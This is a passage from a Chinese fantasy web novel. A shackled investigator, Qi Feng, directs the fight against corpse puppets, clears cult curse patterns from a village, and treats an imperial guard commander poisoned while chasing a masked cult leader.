很快,就有两名年轻的武僧因经验不足,被尸傀儡抓伤了胳膊,伤口瞬间泛起青黑色,毒素以肉眼可见的速度朝着心口蔓延,吓得周围的武僧连忙用佛光为他们压制。
“这些尸傀儡比李家村的更厉害!它们的动作更快,毒素也更强!”赵明德急得额头冒汗,手中的短刀死死握着,却不敢贸然上前。
他也知道,一旦被抓伤,后果不堪设想!
齐枫目光快速扫过扑来的尸傀儡,很快发现了破绽:“大家注意!所有尸傀儡的脖颈处都贴着一道细小的黑符!那是操控它们的关键,毁掉黑符就能破解尸变!锦衣卫主攻脖颈,用短刀挑掉黑符,捕快用盾牌挡住尸傀儡的扑击,为锦衣卫创造机会!”
众人立刻调整战术。
锦衣卫们不再攻击尸傀儡的躯干,而是将目标锁定在脖颈处。
一名锦衣卫趁着尸傀儡扑来的瞬间,侧身避开,手中短刀如同闪电般划过,精准地挑掉了尸傀儡脖颈处的黑符。
黑符落地的瞬间,那具尸傀儡动作一僵,眼中的白芒彻底消散,“扑通”一声倒在地上,再也没有动静,皮肤也渐渐恢复成正常的灰白色。
捕快们则配合默契,用盾牌死死抵住尸傀儡的冲撞,有的甚至用长刀卡住尸傀儡的四肢,为锦衣卫创造攻击黑符的机会。
金色的佛光、锋利的刀刃与青黑色的尸傀儡交织在一起,王家村外瞬间陷入一片混乱。
武僧的诵经声、锦衣卫的喝斥声、尸傀儡的嘶吼声、刀刃入肉的闷响混杂在一起,在狂风中回荡,令人心惊胆战。
齐枫虽被玄铁锁链束缚,无法亲自上前战斗,却也没闲着。
他站在安全区域,凭借着过人的观察力,仔细留意每一具尸傀儡的动作,时不时出声提醒:“左边第三具尸傀儡的黑符歪了,暴露在右侧,快攻!”
“后面那具尸傀儡速度快,小心它的爪子,它会突然变向!”
“右侧那具的弱点在左侧肋骨,那里的黑符没贴牢,用长棍挑!”
在他的精准指点下,众人渐渐掌握了主动权。
尸傀儡一个个倒下,青黑色的雾气随着黑符被毁掉而渐渐消散,空气中的毒素也淡了许多。
可就在最后一具尸傀儡被锦衣卫挑掉黑符、轰然倒地时,村中央的祠堂方向突然传来一阵诡异的笑声。
那笑声沙哑得如同破风箱在拉扯,又像是无数只夜枭在同时啼叫,令人头皮发麻,浑身汗**倒竖。
“谁在装神弄鬼?给本官出来!”萧无痕早已按捺不住,手中的圆月弯刀泛着冷冽的金光,朝着祠堂方向厉声喝道。
他身上的红衣在狂风中猎猎作响,眼中满是杀意。
从李家村到王家村,幽冥教的残忍手段早已让他怒火中烧。
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话音未落,一道高大的黑影从祠堂的废墟中缓缓走出。
这黑影穿着一件破烂的黑色长袍,袍子上绣着密密麻麻的蛇形纹路,布料早已看不出原本的材质,只是泛着油腻的光泽,将他从头到脚遮得严严实实,连手脚都藏在宽大的袍袖与裤管里。最诡异的是他的脸!
袍子的领口高高立起,遮住了大半张脸,只露出一双眼睛。那是一双只有眼白的眼睛,没有丝毫瞳孔,泛着幽绿色的光芒,如同恶鬼般死死盯着众人,仿佛能看穿人的灵魂。
他手中握着一根成年人手臂粗细的黑色法杖,杖头镶嵌着一颗鸽子蛋大小的黑色珠子,珠子表面萦绕着淡淡的黑气,时不时有细小的鬼影在珠子里闪过,显然是用无数生魂炼制而成的邪术法器。
“你们毁了我的阵眼,杀了我的教徒,还破坏了血月祭的准备……”黑影的声音沙哑得如同砂纸在摩擦,每一个字都透着刺骨的寒意,“今日,你们都得死在这里,用你们的精血,为我的血魂珠补充力量!”
“幽冥教的余孽,也敢口出狂言!”萧无痕怒喝一声,脚下发力,身形如同离弦之箭般朝着黑影冲去。
手中的圆月弯刀带着金色的佛光,如同一道闪电,朝着黑影的头颅劈去。
刀风凌厉,带着一股浩然正气,显然是动用了压箱底的本事。
他看得出来,这黑影的实力远超之前遇到的任何幽冥教教徒,必须速战速决。
黑影却不闪不避,手中的黑色法杖轻轻一挥,一道浓郁的黑气从杖头喷出,如同一条黑色的毒蛇,与弯刀***撞在一起。
“砰”的一声闷响,金色的佛光与黑色的邪气在半空炸开,气浪将周围的碎石与枯叶都掀飞起来。
萧无痕被震得后退三步,手臂微微发麻,虎口甚至渗出了一丝血迹,而黑影却纹丝不动,只是那双只有眼白的眼睛中,幽绿色的光芒更盛了几分,一时之间情况危急!
第两百五十八章 穷寇莫追
“你的实力,比我想象的强些,倒也算个不错的祭品。”黑影语气带着几分嘲讽,手中的法杖再次挥动,两道黑气如同藤蔓般朝着萧无痕缠来,速度快得令人眼花缭乱。
萧无痕不敢大意,身形如同鬼魅般左右闪避,同时手中的弯刀不断劈出金色刀光,将缠来的黑气一一斩断。
可黑气如同无穷无尽般,刚被斩断又会重新聚拢,朝着他继续扑来。
两人你来我往,打得难解难分!
萧无痕的刀法刚猛凌厉,每一刀都带着佛光,专克邪祟。
黑影的邪术诡异多变,黑气源源不断,还能操控周围的碎石攻击,令人防不胜防。
赵明德看着两人打得不相上下,刚想让武僧上前支援,就见黑影突然发出一阵尖锐的笑声,手中的法杖猛地插入地面。
祠堂内残留的符文瞬间亮起幽绿色的光芒,一股浓郁的黑气从地面喷涌而出,如同潮水般朝着众人袭来,空气中的毒素瞬间变得浓烈,令人头晕目眩。
“小心!这是噬魂黑气,会侵蚀心智!”齐枫厉声提醒,同时手腕用力,玄铁锁链带着风声朝着黑气挥去。
虽然锁链沉重,却在他的操控下带着一股奇异的力道,将扑向身边捕快的黑气暂时挡在半空,给了众人反应的时间。
可黑影的目标显然不是普通士兵,他趁着萧无痕被黑气牵制、注意力分散的瞬间,突然转身,朝着祠堂后方的密道冲去!
那里的地面早已被挖开一道狭窄的通道,显然是他早就准备好的退路。
“想跑?没那么容易!”萧无痕眼中闪过一丝狠厉,不顾黑气对身体的侵蚀,猛地纵身跃起,手中的圆月弯刀再次凝聚起金色光芒,如同流星般朝着黑影的后背劈去。
这黑影是目前为止抓到的最高级别幽冥教教徒,绝不能让他逃脱,否则后续追查血月祭的线索就会彻底中断。
黑影却早有防备,反手一挥法杖,一道浓郁的黑气如同盾牌般挡住弯刀,自己则借着反作用力,身形更快地冲入密道。
那密道狭窄幽深,只能容一人通过,萧无痕见状,毫不犹豫地收刀,纵身追了进去,红色的身影在幽绿色的光芒中一闪而过,只留下一道残影,很快就消失在密道深处。
“萧大人!危险!”赵明德急得大喊,想要追上去,却被齐枫拦住。
齐枫看着幽深的密道入口,眉头紧锁:“赵大人别追!密道狭窄,里面情况不明,说不定有埋伏。萧大人的实力不弱,短时间内不会有危险。咱们现在要做的,是尽快清理王家村的余毒,派捕快守住密道可能通向的出口,防止黑影逃脱。”
“另外,还要派人去通知周边村落,加强戒备,别让幽冥教的余孽趁机作乱。”
赵明德这才冷静下来,连忙点头:“你说得对!武僧留下清理余毒,给受伤的弟兄疗伤,捕快分成两队,一队守住密道入口,仔细搜查祠堂周边,看看有没有其他出口,另一队去通知李家村、张家村,让他们做好防备!一定要找到萧大人和那个黑影!”
众人立刻行动起来,武僧们拿出随身携带的草药,为受伤的锦衣卫和捕快处理伤口,同时继续用佛光净化残留的毒素。
捕快们则手持火把,分成两队,一队围绕着祠堂仔细搜查,一队朝着周边村落疾驰而去。
祠堂内再次忙碌起来,只有齐枫站在原地,望着幽深的密道入口。
萧无痕追入密道后,王家村上空的风渐渐弱了,残存的灰雾如同被抽走了魂魄,丝丝缕缕地消散在秋日的余晖里。
齐枫望着祠堂方向残留的最后一缕黑气,玄铁锁链在手腕上轻轻晃动,发出“哗啦”的细碎声响。
“赵大人,阵眼虽毁,但幽冥教在村里布下了不少子母残阵,这些残阵依附主阵而生,主阵破了它们却没失效,若不尽快清理,不仅毒素会顺着地脉扩散到周边村落
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,还可能引发二次尸变,到时候麻烦就大了。”
赵明德刚松下去的神经瞬间又绷紧了,他擦了擦额头的汗,藏青色官服的后背早已被汗水浸湿。
“全听齐贤弟安排!武僧、捕快,还有剩下的锦衣卫,都归你调遣!你说怎么干,咱们就怎么干!千万别让这些邪祟再害人!”
齐枫点点头,率先迈步走进村子。
刚走没几步,他突然停下脚步,蹲下身,指尖轻轻触碰地面一道几乎看不见的黑色纹路。
那纹路细如发丝,像蛛网般朝着四周蔓延,在夕阳下泛着极淡的幽光,和祠堂墙壁上的邪符是同一个路数。
“这是引阴纹,是三阴噬魂阵的子阵核心。”
齐枫从怀中掏出一个布包,里面装着艾草、朱砂和黄纸,“幽冥教刻纹时混了新鲜尸血,所以能持续吸收地里的阴气,就算主阵没了,这些纹路也能慢慢汇聚邪气,用不了三天,就能把整个村子变成新的聚阴地。”
他一边说,一边快速用朱砂在黄纸上画符,笔尖划过黄纸发出“沙沙”声,动作娴熟得像是练过千百遍。
很快,一张带着朱砂印记的符纸画好,他点燃符纸,待火焰烧到一半时,突然按在黑色纹路的中心点。
“滋啦——”符纸接触纹路的瞬间,发出像是热油滴在冷水里的声响,黑色纹路以肉眼可见的速度褪色,幽光渐渐消失,只留下一小片焦黑的痕迹。
周围的武僧和捕快都看呆了,连赵明德都忍不住凑近了些:“齐贤弟,这符纸还有这讲究?我以前见道士画符,都是直接贴上去,从没见过你这样烧到一半再用的。”
“这引阴纹靠尸血和阴气维持,普通符纸镇不住。”齐枫站起身,拍了拍手上的灰,“烧到一半的符纸带着阳火,能直接烧断纹路里的尸血链接,再加上朱砂的镇煞效果,才能彻底破掉它。你们看,这纹路周围的草叶是不是已经不发黑了?”
第两百五十九章 收拾残局
众人低头一看,果然,刚才还泛着青黑色的草叶,此刻已经恢复了些许正常的黄绿色,连空气中的阴冷感都淡了几分。
“厉害!真是太厉害了!”赵明德忍不住赞叹,“齐贤弟,你这本事要是早拿出来,咱们也不用在雾阵外耗那么久了!”
齐枫笑了笑,没接话,只是朝着村道两侧指了指:“这引阴纹不是单条的,是成片的。每间房子的墙角、村口的老槐树周围、还有村西的水井边,应该都有。”
“武僧们跟我来,你们的佛光能暂时压制纹路活性,我来画符破阵,捕快分成两组,一组去收集村民的尸体,集中到村头空地,注意别碰尸体的手腕。”
“幽冥教可能在尸体上留了缠魂索,碰了会沾邪气,另一组去搜村里的房子,但凡看到黑色陶罐、刻着符的木牌,或者用骨头做的东西,全拿出来烧掉,那些都是养邪祟的法器。”
众人立刻行动起来。武僧们手持长棍,棍身萦绕着金色佛光,跟着齐枫挨家挨户排查。
每到一处墙角,武僧就将佛光注入地面,黑色纹路遇光就会微微发亮,正好方便齐枫定位。
齐枫则快速画符、燃符、按纹,一套动作行云流水,不到半柱香的时间,就破掉了五处“引阴纹”。
走到村西的水井边时,齐枫突然停下脚步,眉头皱了起来:“这里的纹路不对劲,比其他地方的粗三倍,而且……”
他俯身仔细一看,突然脸色一变,“不好!这不是普通的引阴纹,是噬水纹!幽冥教把邪符刻在了井壁上,毒素已经渗进水里了!”
赵明德闻言,连忙凑到井边往下看,井水泛着淡淡的黑色,还飘着一层油花,闻起来有股刺鼻的腥臭味:“这可怎么办?周边村落的人说不定会来这里挑水,喝了这水岂不是要**?”
“别急,有办法。”齐枫从布包里掏出一把艾草,又让人找来几块生石灰。
“艾草煮水可以驱毒,生石灰能破坏噬水纹的结构。武僧们先用法光护住井口,别让邪气再往外散,捕快去找几口大铁锅,把艾草煮成浓水,再混上生石灰,倒进井里。”
“记住,倒的时候要绕着井口倒,形成一个圈,这样才能把井壁上的纹路全盖住。”
众人忙了起来,武僧们围着井口盘膝而坐,金色的佛光形成一个光罩,将井口罩住。
捕快们则在村里找了三口大铁锅,架起柴火,煮起艾草水。齐枫站在一旁指挥,时不时提醒。
“火再旺点,艾草要煮到水变成深绿色才行!生石灰别放太多,放多了水会变成强碱,喝了伤喉咙!”
趁着煮艾草水的功夫,齐枫又带着几名武僧去了村口的老槐树下。
老槐树上还挂着几具没来得及取下来的尸体,树枝上缠绕着黑色的藤蔓。
那藤蔓上长着细小的倒刺,沾着暗红色的汁液,正是幽冥教的“缠魂藤”,专门用来锁住死者的魂魄,不让它们转世,好用来炼邪术。
“这缠魂藤得用阳火才能烧断,普通的火没用。”齐枫让武僧们将佛光汇聚在长棍上。
“你们用佛光裹着棍子,去挑断藤蔓,注意别让汁液沾到身上,这东西有毒,沾到皮肤会起水泡。”
武僧们依言照做,佛光裹着的长棍碰到藤蔓,藤蔓立刻发出“滋滋”的声响,像是被烧红的烙铁烫过一样,快速萎缩。
齐枫则在树下画了几张“安魂符”,待藤蔓被挑断后,将符纸贴在尸体上:“这些百姓死得冤,贴张安魂符,能让他们的魂魄安心走,别被幽冥教的邪术缠上。”
处理完老槐树,艾草水也煮好了。
捕快们抬着铁锅,按照齐枫的吩咐,绕着井口将艾草石灰水倒进去。
水刚倒进井里,就发出“噼啪”的声响,井壁上的黑色纹路快速消退,井水也渐渐恢复了清澈。
赵明德探头一看,忍不住笑了:“齐贤弟,你这办
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法真管用!水干净了!”
齐枫松了口气,刚想说话,突然听到不远处传来一阵捕快的呼喊:“大人!这里有个地窖,里面全是吓人的东西!”
众人立刻赶过去,只见一间破败的土坯房里,地窖入口敞开着,一股浓郁的腥臭味扑面而来。
齐枫捂着口鼻,让捕快点燃火把递给他,他探头往地窖里一看,眉头瞬间拧成了疙瘩。
地窖里堆满了黑色的陶罐,罐子里装着暗红色的液体,应该是尸血,墙角放着十几根刻着邪符的木桩,木桩上还缠着头发和指甲。
最里面还有一个用石头砌成的台子,上面放着一颗血淋淋的头颅,眼睛还圆睁着,看起来渗人得很。
“这是幽冥教的养煞台,用来培养血煞的。”齐枫的声音带着几分冷意,“这些陶罐里的尸血每天都要换,木桩上的头发指甲是用来绑定活人的生辰八字,等血煞养成了,就能通过这些东西找到对应的人,吸干他们的阳气。”
赵明德听得后背发凉:“这些畜生!真是丧尽天良!齐贤弟,快想想办法,把这些东西全毁了!”
“先别急着毁,这里面有线索。”齐枫让捕快找了几副手套,自己也戴上一副,小心翼翼地走进地窖。
他拿起一根木桩,仔细看上面的邪符:“这符上刻着人的生辰八字,还有名字的最后一个字。你们看,这个玥字,还有这个雪字,会不会是指……”
赵明德心里一咯噔:“难道是南宫姑娘和柳姑娘?幽冥教这是想对她们下手?”
“很有可能。”齐枫将木桩收好,“这些木桩不能烧,留着当证据,等回去了,咱们对照着府城的户籍册,看看这些名字对应的是谁,提前做好防备。至于这些陶罐和养煞台,直接用火烧,烧的时候多放些艾草,别让煞气散出来。”
捕快们立刻行动,将陶罐搬到院子里,堆上干柴,点燃艾草,一把火将陶罐烧了起来。
第两百六十章 重伤
火焰窜起丈高,伴随着阵阵黑烟,黑烟中还夹杂着凄厉的嘶鸣,像是有无数冤魂在哭喊,听得人头皮发麻。
齐枫站在一旁,手持符纸,时不时往火里扔一张,防止煞气扩散。
清理完地窖,天已经擦黑了。
村里的残余阵法基本被破除,“引阴纹”“噬水纹”“缠魂藤”都被处理干净,邪术法器也烧得差不多了。
捕快们将村民的尸体集中到村头的空地上,足足有五十六具,用白布盖着,整齐地排列着,在暮色中显得格外凄凉。
“终于清理完了。”赵明德揉了揉发酸的腰,瘫坐在一块石头上,从怀里掏出水囊喝了一口,“这幽冥教真是阴魂不散,留下这么多后手,要是没有齐贤弟,咱们今天怕是要栽在这里。”
齐枫站起身:“现在还不能放松。这些尸体得尽快烧掉,一来是防止尸体腐烂滋生瘟疫,二来是避免幽冥教的人回来利用尸体炼邪术。”
“另外,萧大人追入密道这么久了,一点消息都没有,我总觉得不对劲,他的实力不弱,就算打不过那个黑影,也不至于一点动静都没有。”
赵明德放下水囊,立刻站起身:“你说得对!尸体必须马上烧!我这就让捕快去找干柴,越多越好!至于萧大人……等烧完尸体,我就派两队锦衣卫去密道的两个出口探查,一个在村后的山坡,一个在城西的乱葬岗,不管怎么样,都得把他找回来!”
捕快们很快就抱来了一大堆干柴,堆在尸体周围,形成一个巨大的柴堆。
齐枫从布包里掏出最后几张“安魂符”,一张张贴在白布上:“这些百姓都是无辜的,希望这符纸能让他们走得安心些。”
赵明德让人点燃火把,递给齐枫:“齐贤弟,你来点火吧。你破了幽冥教的阵,救了这么多人,由你点火,也算是给这些百姓一个交代。”
齐枫接过火把,望着眼前的柴堆,心中一阵沉重。
他深吸一口气,将火把扔了进去。火焰瞬间窜起,舔舐着干柴,发出“噼啪”的声响,橘红色的火光映红了半边天,也映红了众人的脸。
就在这时,一阵急促的脚步声从村外传来,伴随着一名锦衣卫的大喊:“大人!不好了!村外有个人踉踉跄跄地过来了!一身红衣,看着……看着像是萧大人!”
众人心里一紧,都朝着村外望去。
只见远处的官道上,一道红色的身影摇摇晃晃地走着,步伐踉跄,像是随时都会倒下。
他的红衣被划破了好几个大口子,露出里面渗血的伤口,头发凌乱地贴在脸上,沾满了血污和尘土,连平时握刀的手都垂在身侧,像是没了力气。
“真的是萧大人!”赵明德惊呼一声,连忙朝着萧无痕跑去,“萧大人!你怎么样?是不是受伤了?密道里到底发生了什么?那个黑影呢?”
齐枫也皱紧眉头,快步跟了上去。
萧无痕的实力他是知道的,能把他伤成这样,那个黑影的实力恐怕远超他们的预料。
而且萧无痕独自回来,是追丢了黑影,还是……遇到了更可怕的事情?
赵明德朝着萧无痕飞奔而去,脚下的碎石被踩得“咯吱”作响,藏青色官服的衣摆被夜风掀起,猎猎作响。
离近了才看清,萧无痕的红衣早已被鲜血浸透,几道深可见骨的伤口从肩膀延伸到腰腹,黑色的血液顺着伤口往下淌,滴在地上形成一个个深色的血印,甚至在月光下泛着诡异的幽光。
他的脸色惨白如纸,嘴唇乌青得像是涂了墨,呼吸微弱得如同风中残烛,连睁开眼睛的力气都没有,只能靠着本能踉跄前行,每走一步都像是在与死神拉扯。
“萧大人!萧大人你撑住!”赵明德一把扶住萧无痕摇摇欲坠的身体,入手一片冰凉,那寒意顺着指尖钻进骨髓,让他心里“咯噔”一下,瞬间慌了神。
“快!快找担架!
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还有,把齐贤弟叫过来!萧大人中了幽冥教的邪毒,再晚就来不及了!”
周围的捕快和锦衣卫也慌了神,平日里萧无痕总是一副威风凛凛、不可战胜的模样,如今却虚弱得像是随时会断气,这巨大的反差让他们一时难以接受。
反应过来后,众人立刻行动。
两名捕快朝着村里跑去,找门板和绳索制作临时担架,一名锦衣卫则飞快地朝着齐枫的方向奔去:“齐公子!快!萧大人快不行了!”
齐枫刚走到柴堆旁,看着熊熊燃烧的火焰吞噬着村民的尸体,心里正沉甸甸的,听到呼喊声,立刻转身快步赶来。
他蹲下身,一把抓住萧无痕的手腕,指尖刚触碰到皮肤,就感受到一股刺骨的寒意,还有一丝黏腻的黑气顺着萧无痕的经脉游走,像是有生命般在啃噬他的生机。
“是噬魂毒,和卢大人上次中差不多,但是轻一些,还混合了腐骨散的成分。”齐枫的眉头瞬间皱紧,“这毒已经侵入心脉了,黑气顺着血管往五脏六腑钻,要是再晚半个时辰,就算是大罗神仙也救不了他。”
赵明德急得满头大汗,双手紧紧抓住齐枫的胳膊:“齐贤弟,你一定有办法的对不对?你连卢大人的毒都能解,萧大人的毒你也能解!你可不能让他有事啊,府城还需要他坐镇,幽冥教还没铲除……”
“别慌,还有救。”齐枫拍了拍赵明德的手,示意他冷静,同时快速从怀中掏出布包。
里面的艾草、朱砂和黄纸还剩不少,这是他早有准备,怕破阵后遇到突发情况,没想到真派上了用场。
“你们先把萧大人放到平坦的地方,让他平躺,头偏向一侧,别让呕吐物堵住气管。武僧们过来,围成圈用佛光护住他的心脉,佛光能暂时压制黑气扩散,为我争取时间。我现在画驱毒符,再用艾草和生姜煮水给他灌下去,先把毒素逼出一部分。”
众人立刻照做。
第两百六十一章 忙碌
两名捕快找来了一块干净的门板,铺上新的麻布,小心翼翼地将萧无痕抬上去。
武僧们迅速围成一个圈,双手合十,口中默念佛经,金色的佛光如同温暖的水流,缓缓注入萧无痕的体内。
随着佛光的涌入,萧无痕原本急促的呼吸渐渐平稳了些,脸上的乌青色也淡了几分,甚至无意识地哼了一声,像是舒服了些许。
齐枫则在一旁快速画符,朱砂在黄纸上勾勒出复杂的纹路。
符纸中央是一个“雷”字,四周环绕着“驱邪”“镇煞”的篆体,每一笔都蕴含着沉稳的力道,笔尖划过黄纸发出“沙沙”声,在寂静的夜色中格外清晰。
很快,三张驱毒符画好,他将符纸点燃,待火焰烧到只剩灰烬时,迅速将灰烬混入提前煮好的艾草生姜水中,又让人找来一个小勺子,一点点撬开萧无痕的嘴,将药汁灌了下去。
药汁刚入喉,萧无痕的身体猛地抽搐了一下,胸腔剧烈起伏,一口黑色的血液从嘴角喷出,落在麻布上发出“滋滋”的声响,麻布竟然被腐蚀出一个小小的洞。
赵明德看得心惊肉跳,下意识地后退一步,齐枫却松了口气,擦了擦额角的汗:“好了,毒素被逼出来一部分了,暂时安全了。但这只是应急措施,腐骨散的毒性很顽固,会慢慢侵蚀骨骼,要想彻底解毒,还得回府城用千年灵芝能吊住生机,天山雪莲能清除体内残留的黑气,还有长白山的野山参,能帮他恢复体力,这些东西村里根本没有。”
就在这时,制作担架的捕快也回来了,门板两端绑着粗壮的绳索,正好能让四个人抬着走。
众人小心翼翼地将萧无痕抬到担架上,用布条将他的身体固定好,防止颠簸加重伤势。
赵明德看着萧无痕苍白的脸,又看了看远处渐渐熄灭的火焰,沉声道:“齐贤弟,这里交给捕快们收尾,让他们把村民的骨灰收好,找个向阳的地方安葬。咱们先送萧大人回府城,一刻都不能耽误!”
齐枫点点头,跟着担架一起往村外走。
玄铁锁链在他手腕上晃动,锁链与地面摩擦发出“哗啦”的声响,他跟在担架旁,时不时伸手探探萧无痕的脉搏,观察他的呼吸,生怕毒素再次扩散。
锦衣卫们则在担架周围警戒,手中的长刀出鞘,目光警惕地扫视着四周,以防幽冥教的人趁虚而入。
那个黑影还没抓到,谁也不知道他会不会突然出现偷袭。
一行人快马加鞭,朝着府城的方向疾驰。
夜色渐浓,月光被乌云遮住,官道两旁的树林里传来阵阵虫鸣和鸟叫,平时听起来很寻常的声音,此刻却让人觉得格外诡异。
萧无痕在担架上偶尔会发出痛苦的**,黑气时不时从他的伤口中冒出来,武僧们只能不断输出佛光,额头上渗出细密的汗珠,显然也消耗了不少体力。
“齐贤弟,你说萧大人追入密道后,到底发生了什么?”赵明德骑马走在齐枫身边,声音压得很低,生怕惊扰到昏迷的萧无痕。
“那个黑影能把萧大人伤成这样,实力肯定不一般,会不会是幽冥教的血月使者?我之前听锦衣卫汇报,幽冥教除了鬼影卫,还有几个核心成员,叫血月使者,每个人都身怀诡异的邪术,实力深不可测。”
“大概率是。”齐枫望着前方漆黑的夜色,眉头紧锁,“萧大人的刀法刚猛,又有佛光加持,普通的幽冥教教徒根本伤不了他。而且这噬魂毒混合腐骨散的手法,只有幽冥教的高层才会用,普通教徒根本接触不到这么核心的毒术。”
“可惜萧无痕昏迷了,不然就能问出密道里的情况,这些信息对我们太重要了。”
赵明德叹了口气,语气带着几分无奈:“是啊,现在线索又断了。不过还好萧大人活着回来,只要他能醒过来,总能问出点东西。齐贤弟,这次真的多亏了你,要是没有你,萧大人恐怕……”
齐枫摇摇头,打断了他的话:“赵大人不必这么说,我也是为了
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府城的百姓。幽冥教一日不除,大家就一日不得安宁。救萧大人,也是救我们自己。”
两人一路沉默,心里都沉甸甸的。
约莫半个时辰后,府城的城门终于出现在眼前,守城的士兵看到担架和满身是血的萧无痕,吓得脸色都白了,立刻打开城门,连盘问都不敢,只是恭恭敬敬地站在一旁,看着一行人匆匆而过。
一行人直奔府衙,赵明德一边走一边喊:“快!把最好的房间收拾出来,作为萧大人的疗伤室!再让人去回春堂和百草堂,把千年灵芝、天山雪莲还有野山参都买回来,不管多少钱,都要最快速度!”
府衙的衙役们也慌了神,纷纷行动起来。
有的去收拾房间,换床单、擦桌子,还点燃了艾草驱虫,有的则拿着赵明德的令牌,骑着快马朝着药铺飞奔而去。
还有的去厨房烧热水,准备给萧无痕清洗伤口。
将萧无痕安置好后,齐枫立刻开始准备解毒。
他先让衙役把千年灵芝切成薄片,用温水煮半个时辰,提取出浓稠的汁液。
又将天山雪莲磨成细细的粉末,混合在灵芝汁里,最后把野山参切成小丁,放在药汁里一起熬煮。
熬药的过程中,他还时不时加入一些艾草和朱砂,用来增强药效。
与此同时,他还在萧无痕的伤口周围贴上驱毒符,又用艾草熏烤他的穴位。
人中、膻中、涌泉,每个穴位都熏烤半炷香的时间,促进毒素排出。
赵明德则在一旁帮忙,一会儿递药材,一会儿换温水,一会儿又帮着擦汗,忙得不可开交,额头上的汗珠子顺着脸颊往下淌,却丝毫不敢停歇。
不知不觉间,天已经亮了。
窗外的阳光透过窗棂洒进来,照在房间里,为沉闷的空气带来一丝暖意。
萧无痕的脸色终于有了一丝血色,呼吸也平稳了许多,黑色的毒素不再从伤口冒出,只是依旧昏迷不醒,眉头时不时皱一下,像是在做噩梦。
第两百六十二章 贤以抱怨
齐枫擦了擦额头的汗,站起身伸了个懒腰,手腕上的玄铁锁链发出“哗啦”的声响。
他走到床边,探了探萧无痕的脉搏,又看了看他的伤口:“暂时没事了,毒素已经被控制住,接下来就是慢慢调理。只要按时喝药、换药,要不了多久就能醒过来。醒过来后再吃几副补气血的汤药,不出半个月就能恢复得差不多。”
赵明德松了口气,瘫坐在椅子上,拿起桌上的水囊喝了一大口:“太好了!齐贤弟,辛苦你了!要是萧大人醒不过来,我真不知道该怎么向朝廷交代,毕竟他是锦衣卫指挥使,要是在府城出了意外,朝廷肯定会怪罪下来。”
就在这时,门外传来一阵沉重的脚步声,一名身穿飞鱼服的锦衣卫走了进来。
他看到齐枫,脸色立刻变得严肃,双手抱拳道:“齐枫,萧大人现在暂时安全了,你跟我们回天牢吧。萧大人临走前特意交代过,等处理完王家村的事,必须把你看押起来,不能让你在外面自由活动,以免你跟幽冥教勾结,再生事端。”
齐枫还没开口,赵明德就先站了起来,对着那名锦衣卫沉声道:“放肆!你知道你在说什么吗?齐贤弟刚救了萧大人的命,不眠不休守了一整夜,现在你就要把他带回天牢?萧大人现在昏迷着,他要是醒过来,知道你这么对待他的救命恩人,肯定饶不了你!”
“而且府城现在还需要齐贤弟,幽冥教的黑影还没抓到,谁知道他们会不会再搞出什么幺蛾子?要是齐贤弟被带回天牢,再遇到邪术或者邪毒,谁来破解?谁来解毒?你能吗?”
那名锦衣卫脸色一阵青一阵白,显然也有些犹豫。
他张了张嘴,想说什么,却又被赵明德的气势压制住,只能硬着头皮道:“可是……这是萧大人的命令,我们做下属的不能违抗。齐枫是乾朝余孽的嫌疑犯,身上还背着案子,不能让他在外面自由活动,万一他真的跟幽冥教勾结,偷偷给萧大人的药里加东西,或者泄露府城的布防,后果不堪设想。”
“勾结?”赵明德冷笑一声,声音提高了几分,“齐贤弟要是真跟幽冥教勾结,会费这么大劲救萧大人?会帮我们破掉王家村的三阴噬魂阵?会把自己的安危置之度外,留在村里清理残阵?”
“幽冥教巴不得萧大人死,巴不得我们破不了阵,齐贤弟要是勾结他们,根本没必要做这些事,直接在雾阵外坐视不理就行了!你用用脑子,别被萧大人之前的猜忌影响了判断力!”
锦衣卫被怼得说不出话,嘴唇动了动,却一个字都蹦不出来。
他看着昏迷不醒的萧无痕,又看了看一脸平静的齐枫,心里纠结得厉害。
带走齐枫,怕萧大人醒来后怪罪。
不带走,又怕违抗命令受罚,毕竟萧无痕平日里对下属要求极严,谁要是敢违抗他的命令,轻则被杖责,重则被调离府城。
齐枫看着他为难的样子,轻轻叹了口气,开口道:“我可以跟你们走,但萧大人的伤还需要人照看。他中的噬魂毒混合了腐骨散,虽然现在被控制住了,但后续调理很关键。”
“每天要换三次药,药里的灵芝和雪莲比例不能错,还要按时熏烤穴位,促进气血流通,饮食上也得注意,不能吃辛辣油腻的东西,只能喝清淡的粥和汤。要是出了差错,很可能会留下后遗症,比如手臂抬不起来,或者走路一瘸一拐。”
他顿了顿,目光扫过那名锦衣卫:“而且,他这次中的毒,比上次卢大人的伤还要轻一点,调理起来相对容易,我自己就能治疗,不需要麻烦其他人。府城的大夫虽然医术不错,但他们不懂幽冥教的邪毒,要是按照普通的毒伤来治,很可能会适得其反,加重萧大人的病情。”
那名锦衣卫的脸色瞬间变得煞白,握着刀鞘的手指不自觉地收紧。
他当然知道
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萧无痕的性子。
若是醒来后发现自己因为治疗不当落下后遗症,别说他一个小小的锦衣卫校尉,就算是整个府城的刑狱司都要跟着受罚。
可萧大人的命令摆在那里,他若是擅自做主留下齐枫,回头也难辞其咎。
“这……”锦衣卫校尉站在原地,左右为难,目光在齐枫和昏迷的萧无痕之间来回打转,额头上渗出细密的汗珠,“可萧大人的命令……”
“萧大人的命令是基于齐贤弟有嫌疑,但现在齐贤弟救了他的命,情况已经不一样了!”赵明德上前一步。
“你要是真把齐贤弟带走,萧大人醒来后问起,我就说你不顾他的伤势,执意执行命令。到时候,你觉得萧大人会罚谁?是罚救了他的齐贤弟,还是罚差点害了他的你?”
这番话像是一盆冷水,浇在锦衣卫校尉的头上。
他猛地打了个寒颤,想起萧无痕平日里对下属的严苛。
上次有个锦衣卫因为办事拖沓耽误了线索,直接被杖责三十,贬去了边关。
要是真因为自己的坚持,让萧大人落下后遗症,后果不堪设想。
“那……那好吧。”锦衣卫校尉犹豫了许久,终于松了口,却还是不甘心地补充道,“但齐枫必须待在这间房里,一步都不能离开!门口会安排两名锦衣卫看守,要是他敢擅自走动,或者试图传递消息,我们会立刻把他带回天牢,到时候就算赵大人你求情也没用!”
“可以。”齐枫毫不犹豫地答应下来,目光落在萧无痕的脸上,“我本来也打算守在这里,观察他的伤势变化。只要能确保他安全醒来,待在哪里都一样。”
锦衣卫校尉点点头,转身走出房间,很快就有两名身穿飞鱼服的锦衣卫站在了门口,双手按在刀柄上,眼神警惕地盯着房间里的动静,像是在看守什么十恶不赦的犯人。
房间里的气氛瞬间变得有些沉闷。
第两百六十三章 委屈你了
